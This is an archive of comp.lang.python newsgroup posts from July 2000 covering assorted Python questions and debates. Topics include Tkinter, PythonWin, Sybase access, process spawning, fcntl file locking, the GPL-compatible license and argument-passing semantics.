Date: Thu, 13 Jul 2000 14:49:04 +0000
Subject: Switching to Linux...... converting files and databases....
References: <20000712201149.7701.qmail@web5302.mail.yahoo.com> <slrn8mqpst.6uc.scarblac-spamtrap@flits104-37.flits.rug.nl> <t1q7laq8dmb.fsf@kermit.wreck.org>
Message-ID: <396DD6E0.39E3548A@schneider-kamp.de>

Bobby de Vos wrote:
> 
> Star Office has some slight problems with Word files. The page breaks
> are slightly different, and Star Office did not display some
> geological time characters in my lab handout.

Yes, but you can observe the same problems when switching from
one Windows system to another (with another printer driver
and different installed fonts).

As far as I can see Word files are quite well supported by
StarOffice 5.2. Password protected Excel files are something
different though.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From alin at clicktomarket.com  Mon Jul 10 16:49:45 2000
From: alin at clicktomarket.com (Angela Lin)
Date: Mon, 10 Jul 2000 13:49:45 -0700
Subject: App testing
Message-ID: <8kdcmo$g5r$1@bob.news.rcn.net>

I need to carry out some testing of a cgi application from a Browser client.
I have been informed that I can use Python (or some of it's extensions) to
capture and replay the http traffic between the Browser and the Webserver to
simulate a user session. Unfortunately I've not been able to find any
information on this usage in the books I've looked at so far. I am also
interested in any other applications free or otherwise which would allow me
to do this.

I would like to be able to capture the traffic and edit it to allow modified
replays of sessions. Can anbody help with this? Should I be looking at other
news groups for these features?

Thanks.




From j.doty at gte.net  Thu Jul 27 00:57:04 2000
From: j.doty at gte.net (John Doty)
Date: Thu, 27 Jul 2000 04:57:04 GMT
Subject: Python and COM: Aggregation?
Message-ID: <AiPf5.138$6Z.107941@paloalto-snr1.gtei.net>

I love Python.  I want to use it for all my programming needs.

But I can't.

Is there a reason that COM objects implemented in Python are not
aggregatable?

thanks,
john




From jessw at loop.com  Mon Jul 10 16:41:39 2000
From: jessw at loop.com (Jesse W)
Date: Mon, 10 Jul 2000 20:41:39 +0000
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter proble
In-Reply-To: <9_va5.13290$Tb7.89359@news-server.bigpond.net.au>
Message-ID: <200007110344.UAA23990@stevie.loop.com>

Sourry for the stupid question, but: Which path?  Is it the 
Pythonpath, the Windows path, the dos config.sys path, or some other 
path?  Thank you for a reply anyway.
								Jesse W

>    If starting up a shell is slow check your path. Too long a path or a path
> that includes networked volumes or floppy/zip drives can slow things down a
> lot.



From pduffin at hursley.ibm.com  Fri Jul 28 07:57:42 2000
From: pduffin at hursley.ibm.com (Paul Duffin)
Date: Fri, 28 Jul 2000 12:57:42 +0100
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCCEJHGMAA.tim_one@email.msn.com>
Message-ID: <39817536.FDBC508D@hursley.ibm.com>

Tim Peters wrote:
> 
> [Chris Lawrence]
> > ...
> > I hope BeOpen and/or CNRI are keeping RMS in the loop on this
> > one, as I think that was the problem that led to the
> > neverending QPL squabble.
> 
> While we can't say much yet, I can assure you that BeOpen is strongly
> committed to GPL compatibility for the new Python license.  From that you
> can probably draw inferences that are at least fundamentally correct <wink>.
> 
> Note that the current JPython license is not GPL compatible.  We'd sure like
> to see that change.  But *retaining* CPython's GPL compatibility is the
> first goal, and not one BeOpen is likely to compromise on.
> 

What does GPL compatible mean ? 

Does it just mean that it is an Open Source license as certified by 
www.opensource.org or is it something more ?


From grey at despair.rpglink.com  Sat Jul 29 22:47:39 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sun, 30 Jul 2000 02:47:39 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com>
Message-ID: <slrn8o75m6.fjt.grey@teleute.rpglink.com>

On Sun, 30 Jul 2000 01:48:32 GMT, Grant Edwards <nobody at nowhere.nohow> wrote:
>I concur. In non-programming, life is strictly typed. Allowed
>operations are determined by the type of the object. You can't
>make a phone call on a waffle-iron.  Were I to _try_ to make a
>phone call on a waffle-iron, it doesn't "automagically" convert
>istelf into a telephone.  Instead, I get a rather interesting
>burn pattern on the side of my head.

    Whoops, exited too fast.  When I started programming it was in Turbo
Pascal 3.  I had the absolutely WORST time with that language at that time
because of typing because I couldn't just do what I thought was logical.
Furthermore the casting also didn't work in any manner that I thought logical,
either.  I hit the same problem in C.  I really, REALLY despised being told
that what I wanted to wasn't possible when I knew darn well it /was/.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From gmcm at hypernet.com  Tue Jul 18 23:02:36 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 19 Jul 2000 03:02:36 GMT
Subject: What's happening here ????
References: <Pine.BSF.4.10.10007181644550.17617-100000@hercule.perceval.be>
Message-ID: <8F75E3744gmcmhypernetcom@199.171.54.155>

Gregoire Welraeds wrote: 

>
>
>

Not much, dude. 

- Gordon


From rhymes at tiscalinet.it  Wed Jul 26 04:17:35 2000
From: rhymes at tiscalinet.it (rhymes)
Date: Wed, 26 Jul 2000 10:17:35 +0200
Subject: Python & AI
References: <fr8rnskopofu13smscl4rm0b1pacisbikk@4ax.com> <jSjf5.389$wU2.4263@news>
Message-ID: <oc6tnsoaujvp3paunfuchoeg0f4sddeacn@4ax.com>


Thanxx very much.

C u next time on the NG.

Bye bye

Lawrence Oluyede

rhymes at tiscalinet.it

"Per cambiare, 
per diventare un' altra cosa
dobbiamo prima sapere cosa siamo"

Bruce Lee

On Tue, 25 Jul 2000 17:10:39 GMT, "Chris Ryland" <cpr at emsoftware.com>
wrote:

>See http://www.norvig.com/python-lisp.html for a start.



From richard_chamberlain at ntlworld.com  Sat Jul 22 02:41:14 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Sat, 22 Jul 2000 07:41:14 +0100
Subject: textvariables in Labels don't work in Win98se
References: <8lb8qr$3s1$1@mcnet.marietta.edu>
Message-ID: <gjbe5.2671$k54.49569@news6-win.server.ntlworld.com>

Nick,

I'm running win98se and it runs fine, obviously have a setup issue
somewhere.

Richard

Nick Brown <brown.2053 at osu.edu> wrote in message
news:8lb8qr$3s1$1 at mcnet.marietta.edu...
> I am running Python 1.5.2 in Win98se. When I run this program:
>
> from Tkinter import *
> root=Tk()
> myString=StringVar()
> Label(root, textvariable=myString).pack()
> myString.set('hello there')
> root.mainloop()
>
> I get a window with empty space.
> But when I run the EXACT SAME CODE on a Linux box, I get a window with the
> text 'hello there' in it. Why does the same simple program work
differently
> in Win98se than in Linux?
>
>




From neilh at scintilla.org  Sun Jul 16 08:58:54 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Sun, 16 Jul 2000 12:58:54 GMT
Subject: Pythonwin: problem with syntax highlighting
References: <32966860B9270DBB.82F799B3E78DDCD7.9E33DCD378F53BB0@lp.airnews.net>
Message-ID: <ikic5.3290$4p3.25691@news-server.bigpond.net.au>

   Telling us what version number will help. Using PythonWin 132 is best if
you are running Python 1.5.x.

> There's just one irritating thing, not with the language itself, but
> with the pythonwin editor. I havn't managed to make autocompleting and
> syntax highlighting to work.

   Autocompletion requires some symbols to be loaded. I don't know all the
ways this can happen but in the interactive window try

import win32api
win32api.

   After you press the '.' you should see a list appear.

   Syntax highlighting should just happen - it even looks as though Mark has
dropped the option to turn off syntax highlighting.

> I've checked and unchecked the options in
> the GUI, but it didn't change a thing. I've looked into the registry
> to see if a component had'nt been registered properly during setup but
> I didn't see anything wrong.
>
> What could prevent my machine from displaying online help ?

   Help is bad too? Your machine is posessed by the anti-Python! Try
uninstalling and reinstalling. And use Python 1.5.2 and PythonWin 132.

   Neil





From alexandre.ferrieux at rd.francetelecom.fr  Tue Jul  4 08:30:48 2000
From: alexandre.ferrieux at rd.francetelecom.fr (Alexandre Ferrieux)
Date: Tue, 04 Jul 2000 14:30:48 +0200
Subject: Test results of linuxaudiodev.c
References: <Pine.SGI.3.96.1000629173646.621134u-100000@happy> <m3r99e7v1e.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <3961D8F8.983@rd.francetelecom.fr>

Michael Hudson wrote:
> 
> >     dsp = linuxaudiodev.open("w")
> >     dsp.setparameters(au.getframerate(), au.getsampwidth() * 8,
> >                       au.getnchannels(), formats[spec])
> >     dsp.write(data)
> >     dsp.close()
> 
> This doesn't work.  I don't really understand why.

Can you characterize "doesn't work" ?
If by this you mean 'no errors, no sound', then probably the problem
is that the close doesn't (by default) linger until all the queued data
have been played - in which case success is just one ioctl() away...

-Alex


From fiona at sitegnome.com  Sat Jul 15 21:08:20 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 16 Jul 2000 01:08:20 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 15th, 2000
Message-ID: <20000716010820.11712.qmail@synop.com>

Hi List,

Here are the latest entries into http://python.faqts.com

cheers,

Fiona


## Unanswered Questions ########################################


-------------------------------------------------------------
Is there any way I can prevent pythonwin(scintilla) from reading the method names of a specific class
http://www.faqts.com/knowledge-base/view.phtml/aid/4734
-------------------------------------------------------------
Nils Otto Johansen



## New Entries #################################################


-------------------------------------------------------------
Where can I find a DB-API connection to Sybase?
http://www.faqts.com/knowledge-base/view.phtml/aid/4753
-------------------------------------------------------------
Fiona Czuczman
Paul Boddie

The 'ctsybasemodule' apparently resides at the following URL:

  http://starship.python.net/crew/pgodman/

Whilst 'ctsybasemodule' is rather nice, I found it insufficient for my 
purposes (no "bind variables" in SQL statements) and decided on mxODBC 
instead:

  http://starship.python.net/crew/lemburg/mxODBC.html

If you decide to pursue that option, I would suggest looking at my ODBC
resources page:

  http://www.crosswinds.net/~pboddie/Python/mxODBC.html

I managed to get mxODBC working with Adaptive Server Anywhere and 
Adaptive Server Enterprise, but with the recent announcement of zxJDBC 
you could use JPython and Sybase's jConnect software instead:

  http://www.ziclix.com/zxjdbc/
  http://www.jpython.org
  http://www.sybase.com/products/internet/jconnect/


-------------------------------------------------------------
How can I call an .exe file from inside a .py file?
http://www.faqts.com/knowledge-base/view.phtml/aid/4757
-------------------------------------------------------------
Fiona Czuczman
Alex Shindich, Gregoire Welraeds

Try this:

import os
os.execl ('foo.exe')

For more info read http://www.python.org/doc/current/lib/os-process.html

execl is kind of an alias for execv. So using this solution, be aware of 
the following:

execv (path, args) 
Execute the executable path with argument list args, replacing the
current process (i.e., the Python interpreter). The argument list may be 
a tuple or list of strings. Availability: Unix, Windows. 

This mean that if you have the following code in a file:

        import os
        os.execv("/bin/ls",("ls","/"))
        print "Done!" 

The last line will never be executed because the python process is 
replaced by the /bin/ls command. To avoid this, Unix allows you to use 
the fork system call :
        import os
        i= os.fork()
        if i != 0:
                os.waitpid(i,0) # wait for the child to complete.
                print done!
        else:   #  child process
                os.execv("/bin/ls",("ls","/"))
        
Another and easier solution, which also works under Windows :

        import os
        os.system("foo.exe")
        print 'Done!'


## Edited Entries ##############################################


-------------------------------------------------------------
How can you check on the status of a file's "archive" bit, on DOS-type platforms
http://www.faqts.com/knowledge-base/view.phtml/aid/4706
-------------------------------------------------------------
Barry Pederson, Fiona Czuczman
http://www.python.org/windows/win32all/,Alex Martelli

On Win32, with Hammond's extensions:

PythonWin 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on 
win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
Portions Copyright 1994-1999 Mark Hammond (MHammond at skippinet.com.au)
>>> from win32file import GetFileAttributes
>>> GetFileAttributes("C:/witha.txt")
32
>>> GetFileAttributes("C:/withouta.txt")
128
>>>

where witha.txt does have the A attribute and withouta.txt lacks it.

You can also use symbolic names for the constants:

>>> import win32file
>>> win32file.FILE_ATTRIBUTE_ARCHIVE
32
>>> win32file.FILE_ATTRIBUTE_NORMAL
128
>>>

Note that the 'normal' bits seems to be set if and only if no other
bits are set.  Other attributes in the bitmask behave more normally,
i.e., they are bitwise-or'ed to give all attributes of the file.

For example, after making witha.txt read-only (still _with_ the A
attribute as well), we have:

>>> GetFileAttributes("C:/witha.txt")
33
>>> win32file.FILE_ATTRIBUTE_READONLY
1
>>>

I.e., the attributes of the file are the bitwise-or of archive and
readonly.  So, if you only want to test for archive, and don't care
about the others, you'll bitwise-and GetFileAttributes' result with
FILE_ATTRIBUTE_ARCHIVE, rather than testing for equality!






From cg at schlund.de  Tue Jul 11 10:23:38 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Tue, 11 Jul 2000 16:23:38 +0200
Subject: Sybase module crashes (segfault)
Message-ID: <396B2DEA.2FAEA72B@schlund.de>

Hi!

I have compiled and installed the Sybase module 0.6 on SuSE Linux
6.3 with Sybase Open Client 11.9.2. When I say

import Sybase
db = Sybase.connect(host, user, passwd)

Python crashes with a segmentation fault.
What went wrong?

Regards
Carsten.


From owen at astroNOJNK.washington.edu.invalid  Mon Jul 17 19:10:36 2000
From: owen at astroNOJNK.washington.edu.invalid (Russell E. Owen)
Date: Mon, 17 Jul 2000 16:10:36 -0700
Subject: Does Python have "not a number" floating point values?
Message-ID: <8l03pc$92co$1@nntp6.u.washington.edu>

Does Python support any sort of floating point "not a number" (e.g. IEEE 
infinity)?

I realize I can just use None, but it's convenient to be able to tell 
the difference between inifinity and undefined, and to be able to 
perform a computation that may fail without raising an exception.

-- Russell


From donn at u.washington.edu  Wed Jul 12 12:32:09 2000
From: donn at u.washington.edu (Donn Cave)
Date: 12 Jul 2000 16:32:09 GMT
Subject: File IO with select?
References: <396BBCE9.2C114ED3@tgflinux.com>
Message-ID: <8ki6i9$3lbs$1@nntp6.u.washington.edu>

Quoth Jared Lee Peterson <jared at tgflinux.com>:
| I am trying to syncronize two clients that are accessing the same file.
| One client spawns the other and then needs to wait until process two
| writes to the file before it can then read from it.  I am trying to use
| select() for this but I am not having much luck.  So I guess that my
| question would be whether or not I can use select() for this or not.  If
| so could someone offer some guidance ... if not could someone offer
| another suggestion.  Thanks a lot

Select() is not the answer.  You need a filesystem lock.  I'd look
at fcntl.lockf().  Like select(), this function operates on an integer
file descriptor --

    fd = posix.open(file, posix.O_RDWR)   # open file
    fcntl.lockf(fd, fcntl.LOCK_EX)        # lock
    fcntl.lockf(fd, fcntl.LOCK_UN)        # unlock, or
    posix.close(fd)                       # unlock

The cooperating processes must both lock the file, lockf() is where
they interlock.

Don't use buffered I/O.  If you must use a Python file object,
turn off its buffering or use flush() at strategic points.
Same as with select(), the system doesn't work if the processes
don't really write their data out.

To go on to excruciating detail, there are two different kinds of
filesystem lock on some UNIX platforms.  The lock supported by the
fcntl() and lockf() functions is pretty much universal, and since
BSD 4.2, Berkeley platforms have had an flock() that's a little
different.  Some misguided attempts to support Berkeley compatibility
support flock() as a way to call lockf(), but the real flock()
doesn't interoperate with lockf(), applies only to local files
(not remote network mounted) and is somewhat more reliable.  The
flags I use up there with lockf() are really the flags for flock(),
that's how it works in Python.

With fcntl/lockf, if the same file is open on more than one unit,
the first unit to close releases the lock.

	Donn Cave, donn at u.washington.edu


From paul at prescod.net.bbs  Mon Jul 17 17:30:03 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 17 Jul 2000 21:30:03 GMT
Subject: Type checking in python?
Message-ID: <3bRQ4U$n1s@openbazaar.net>

Matthew Cline wrote:
>
> ....
>
> That's another reason why I'd like the type checking to be done by the
> Python compiler, because it could be intelligent about those things.
> Like for "list" it could accept a tuple, a list, or anything derived
> from UserList.

Most list-like Python objects do not derive from UserList. We could
argue whether they should or should not but the point is that your
syntactic change would only provide maximum benefit if Python
programmers change their programming style. That's why it is not
something that can be implemented overnight.

--
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on.
	- http://www.cs.yale.edu/~perlis-alan/quotes.html


From morten.soerensen at framfab.dk  Wed Jul 19 11:05:32 2000
From: morten.soerensen at framfab.dk (Morten Sorensen)
Date: Wed, 19 Jul 2000 17:05:32 +0200
Subject: Newbie : Python install MIME type problem (I think)
Message-ID: <3975C3BC.3D346C5B@framfab.dk>

I have installed Python on Win2k - but I just get the source code in a
browser.

Do need to include some MIME types in my web servers (Apache)
configuration - and if so, which MIME types ?


morten sorensen



From claird at starbase.neosoft.com  Thu Jul 27 19:46:52 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 27 Jul 2000 18:46:52 -0500
Subject: Consorting with infidels (was: The State of Python)
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8lq20g$kt1$1@nntp9.atl.mindspring.net> <slrn8o1e2q.e3.bmcd@ripley.sulaco.net> <8lqel0$78o$1@nntp9.atl.mindspring.net>
Message-ID: <B684E84716DADF67.2322E58008420990.D3C138E58CB6E912@lp.airnews.net>

In article <8lqel0$78o$1 at nntp9.atl.mindspring.net>,
Aahz Maruch <aahz at netcom.com> wrote:
>In article <slrn8o1e2q.e3.bmcd at ripley.sulaco.net>,
>Ben Caradoc-Davies <bmcd at es.co.nz> wrote:
>>On 27 Jul 2000 19:19:44 GMT, Aahz Maruch <aahz at netcom.com> wrote:
>>>In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
>>>Guido van Rossum  <guido at beopen.com> wrote:
>>>>
>>>>I've placed the slides of my talk at the O'Reilly Open Source
>>>>Convention on-line at our BeOpen PythonLabs website:
>>>>
>>>>    http://www.pythonlabs.com/talks.html
>>>
>>>It appears that the HTML version requires JavaScript.  That's a Bad Idea.
>>
>><rant tone=incensed peeve=inaccessibility>
>
>Guido sent me an e-mail response saying that unfortunately he only had
>time to take Outlook's default output and stick it up on the Web.  Given
>what he's going through currently, I'm inclined to cut him some slack --
>but not Microsloth.
			.
			.
			.
Slack--why, I cut him not merely slack, but also sympathy,
for having to move in the social circles where work is
transacted in the medium of PowerPoint(less) slides.  Poor
brave knight, so far from home.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From tim_one at email.msn.com  Tue Jul 25 03:17:22 2000
From: tim_one at email.msn.com (Tim Peters)
Date: Tue, 25 Jul 2000 03:17:22 -0400
Subject: Python is wierd!
In-Reply-To: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEMPGLAA.tim_one@email.msn.com>

A few quickies:

[Jonathan]
> Hi, just finished going through the 'Learning Python' book, and the
> feeling that i get is that Python is really wierd(compared to other
> conventional languages like C++, Java, etc). For e.g.(correct me if i'm
> wrong)
> ...
> 3. No keywords to differentiate between passing arguments by reference
> or value! An integer is passed by value(reference to a new copy), while
> a mutable object is by reference. To pass a list by 'value', i know you
> just need to insert one more line(list = [:]), but it seems
> so 'inconsistent' compared to Java or even PHP.

I'm surprised you got that impression from the book.  It isn't a true one.
Everything in Python is passed by reference, always; Python never (ever!)
makes a copy of anything unless you explicitly ask for one.  What you
describe is actually much closer to the way Java works.

> (Not to mention the number of 'gotchas' listed in the book that are
> bound to trap beginners - *shudder*)

You'll find that (by far) most Python users believe the language has far
fewer gotchas than other languages they've used.  I'm certain the book did
*not* say the gotchas they list at the end of each chapter "are bound to
trap beginners".  Different people have different blind spots, and the
authors did a remarkable service by listing the *union* of "gotchas" they've
seen beginners get got by <wink>.  There are very few gotchas in Python that
*most* beginners suffer (stark contrast with C, C++ or Perl is dead easy).
See also Andrew Kuchling's "Python Warts" paper:

    http://starship.python.net/crew/amk/python/writing/warts.html

That lists deep areas of ongoing (and going, and going <wink>) debate.  The
"beginner gotchas" are much shallower, and the best predictor I know of for
which feature will trip which beginner is the programming language they used
most before coming to Python.  It's insane to believe that language X
"should" work exactly like language Y, and beginners who don't come in with
an insane attitude very quickly adjust.

As the years have gone by, I've gotten a sick, hypocritical thrill out of
cruising other language newsgroups, and finally seeing people complain that
language X, Y or Z doesn't work exactly like Python <0.9 wink>.

> The reason i'm picking up python is that i got sick of PERL:),

There are many here who came to Python for the same reason.  Don't expect
Python to act like Perl, and I predict you'll be happy.  If you left Perl
reluctantly, you may also want to give Ruby a try.  One suggestion:  stop
reading so much and write some damn code already <wink>.

> ...
> Pascal(for procedural) and Java(for OOP) is still the better choice to
> start off, IMHO.

Try to reserve judgment until you've actually used the language.  Are you
old enough to remember the then-famous 1977 paper "Ambiguities and
Insecurities in Pascal", by Welsh, Sneeringer and Hoare?  A frank discussion
of *any* language's lapses from perfection will scare the snot out of
anybody who only reads about the language.  The Python community is very
open about what they think is lacking in the language; curiously, though,
there's almost no consensus on what that is.

don't-reply-start-coding<wink>-ly y'rs  - tim





From moshez at math.huji.ac.il  Mon Jul  3 08:53:49 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Mon, 3 Jul 2000 15:53:49 +0300 (IDT)
Subject: Python CGI security
In-Reply-To: <39607A22.CA190D70@stroeder.com>
Message-ID: <Pine.GSO.4.10.10007031552330.22346-100000@sundial>

On Mon, 3 Jul 2000, Michael [iso-8859-1] Str?der wrote:

> Note that I only posted *excerpts* of the ITS4 output. Feel free to
> ask if you want the whole output by e-mail (approx. 1000 lines with
> a lot of repeated messages).
> 
> > There are a few types of "potential security holes":
> > 
> >  -- exposing insecure parts of the API, such as os.system(). These should
> >     stay, since the user should have those at his disposale
> 
> Would it be possible to provide a secure version in the Python lib
> of e.g. os.system() with same function parameters but less unsecure
> behaviour instead of just wrapping it 1:1?

no: the insecurities are there for a reason: they give more power for
local applications

Please send to me (personally!) the whole output. I'll have a look at it
and try to summarize it.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From Armin at Steinhoff_de  Mon Jul 17 04:02:03 2000
From: Armin at Steinhoff_de (Armin Steinhoff)
Date: 17 Jul 2000 01:02:03 -0700
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com>
Message-ID: <8kuehr$22c5@drn.newsguy.com>

In article <Ptvc5.40687$MT.1455524 at news-west.usenetserver.com>, Matthew says...
>
>It would be nice if I could do something like:
>
>  def my_func(int foo, list bar, Quux quux):
>     ...
>
>rather than
>
>  def my_func(foo, bar, quux):
>     if not isinstance(quux, Quux):

That's plain C ...

      if not quux.isinstance(Quux): 

is more flexible ... so you have just to implement that method in your class
definition

Regards

Armin

>        raise RuntimeError("param 'quux' must be of class 'Quux'")
>
>Is there any plans on doing this for Python 3000?  Or will something
>like this never be a part of Python?
>
>



From mjackson at wc.eso.mc.xerox.com  Tue Jul 18 08:26:47 2000
From: mjackson at wc.eso.mc.xerox.com (Mark Jackson)
Date: 18 Jul 2000 12:26:47 GMT
Subject: Why is openbazaar.net reposting duplicate articles to c.l.py?
Message-ID: <8l1ie7$3o2$2@news.wrc.xerox.com>

This doesn't have anything to do with the CNRI-BeOpen hassle, does it?  :-(

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	A doctor can bury his mistakes, but an architect can only
	advise his client to plant vines.
				- Frank Lloyd Wright




From ejr at lotus.CS.Berkeley.EDU  Wed Jul 26 23:45:47 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 27 Jul 2000 03:45:47 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8ite5.9395$4p3.69392@news-server.bigpond.net.au> <3hu2dfrndo.fsf@angband.org> <397FA0FF.5FFEB6AA@see.my.signature>
Message-ID: <8lob9b$i7j$1@agate.berkeley.edu>

And Greg Ewing writes:
 - 
 - It's hard to see how to implement multiple dispatch in a way
 - that preserves this property, while still being flexible
 - enough to solve the kinds of problems that multiple dispatch
 - is supposed to solve.

Assume the generic function route to multiple dispatch.  One name
is declared to be a generic function, then definitions are attached
by declaring methods that implement the function for combinations of
argument types.  These definitions must be loaded from appropriate
modules before they can be bound to the name, which is itself located
within some module.

How is this significantly more painful than the object factory pattern?  
You have one front-end package that provides a factory.  The factory 
can return objects from any package the factory's package has loaded.
The client of the factory need not have imported the back-end module,
so this won't be obvious in the way you seem to prefer.

Of course, both Python and most (all dynamic) languages supporting
generic functions have run-time introspection facilities, so you can
answer these questions then.  Some programming environments can also
help out, although I'm pretty much stuck in Emacs- and vi-land until
someone plops a free software one with compatable key bindings in
front of me.

Jason


From paul at prescod.net  Mon Jul 17 19:11:13 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 18:11:13 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for 
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <39736213.15848862@eecis.udel.edu>
Message-ID: <39739291.4155A128@prescod.net>

Charles Boncelet wrote:
> 
> ....
> 
> Why is it ordained that objects should have only two operations, "*" and
> "+",
> defined with simple operators?   "+" on strings means something entirely
> 
> different than "+" on numbers.  Why not add an "@" operator?  

Because 90% of Python programmers would not know what it means.

Look, if you took a poll of all programmers in the world, only a small
fraction use matrices very often. Therefore it is a niche. Most
programmers use numbers and strings every day, however.

Still, we all want you to succeed. We just disagree on the right
approach. Here's my suggestion:

> Python could become the primary open source alternative to Matlab in
> time
> if a few changes were made: Incorporate numpy into the core distribution
> (or
> release a  distribution with it already embedded), 

The process of creating a numpy enabled distribution is underway.

> improve the help facility at the interpreter.

A module for that is under development.

> simplify the syntax for matrix operations

You (matrix people) can do that by parsing your own Python-like syntax
and generating Python byte codes or Python source code. You don't need
any official blessing from Guido or anyone else. Several people have
written compilers for languages like Python IN Python and in other
languages. It is possible. There are even techniques for making your
language work on the interpreter line. We can help with that.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html





From aahz at netcom.com  Mon Jul 31 11:54:04 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 15:54:04 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCOEBCGNAA.tim_one@email.msn.com> <398546C5.E9E59957@hursley.ibm.com> <cpzomyckzb.fsf@cj20424-a.reston1.va.home.com>
Message-ID: <8m47es$904$1@nntp9.atl.mindspring.net>

[p&e]

In article <cpzomyckzb.fsf at cj20424-a.reston1.va.home.com>,
Guido van Rossum  <guido at beopen.com> wrote:
>
>  [....]

I just thanked Tim, but thank you, too, for keeping us informed.
Knowing what's going on, no matter how nebulous, is infinitely better
than a vast silence.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From m.faassen at vet.uu.nl  Sun Jul 30 16:41:35 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 30 Jul 2000 20:41:35 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl> <8lvu6d$8pa$2@news.dtc.hp.com>
Message-ID: <8m23tv$pqc$1@newshost.accu.uu.nl>

(Greg Weeks) <weeks at golden.dtc.hp.com> wrote:
> Martijn Faassen (m.faassen at vet.uu.nl) wrote:
> : This seems to be where the confusion comes in. When people claim Python
> : passes by value, because the *references* are being passed by value, 
> : that seems to be just stating that the only thing the computer can pass
> : in the end is numbers. If you say that, everything is by value and references
> : are impossible, which seems to be a useless set of semantics.

> Why useless?

If you say everything is 'by value' in end because references are values
too, you're giving up the useful distinction between 'by value' and 
'by reference'; everything is 'by value'. So you can say less. So it's
a rather useless way to define the words, in my opinion.

>  It works well for me and others.  Lisp uses the same object
> model as Python, and old Lispers never bothered with this "references"
> business.  They managed fine.  And there are advantages.  For example,
> these semantics allow me to say that Perl is call-by-reference while Python
> is call-by-value, a very real distinction that IMO contributes to the
> superiority of Python.

What does 'call-by-reference' mean? I mean, as opposed to 'pass-by-reference'?

If you want to ignore the word 'reference' and call it 'address', that's
fine with me. But reference and address are in my book not too different;
'address' has a machine-connotation where reference does not (it may not
actually be implemented by memory addresses, though usually it is). 
An address in the real world is after all just a reference to a particular
house, not?

If you mean *pass* (arguments) by reference, then I'd definitely say
*Perl* is pass by value (by default), and Python is pass by reference.
I don't understand the reversal?

> I started -- or at least leapt into -- this thread because at the very
> least I think it is misleading for people to assert flatly that Python is
> call-by-reference when from another point of view that is not the case.  On
> the other hand, as much as I prefer my own viewpoint, I realize that it is
> a matter of taste, and tastes are rarely changed as a result of newsgroup
> discussions.

All names in Python are references; so you're just passing the references
to the functions when you do a function call. In that sense it's by value,
but in C you wouldn't call passing around pointers and storing them in
variables 'by value' either. You 'dereference' a pointer, for instance,
when you want actual access to the value inside it.

In Python you never have to deal with getting a pointer (reference) to 
some value and the other way around; you only deal with references and
manipulate them in some way.

Perhaps there is some other semantics for 'value' and 'reference' stemming
from another programming tradition that I'm not aware about, though.

Regards,

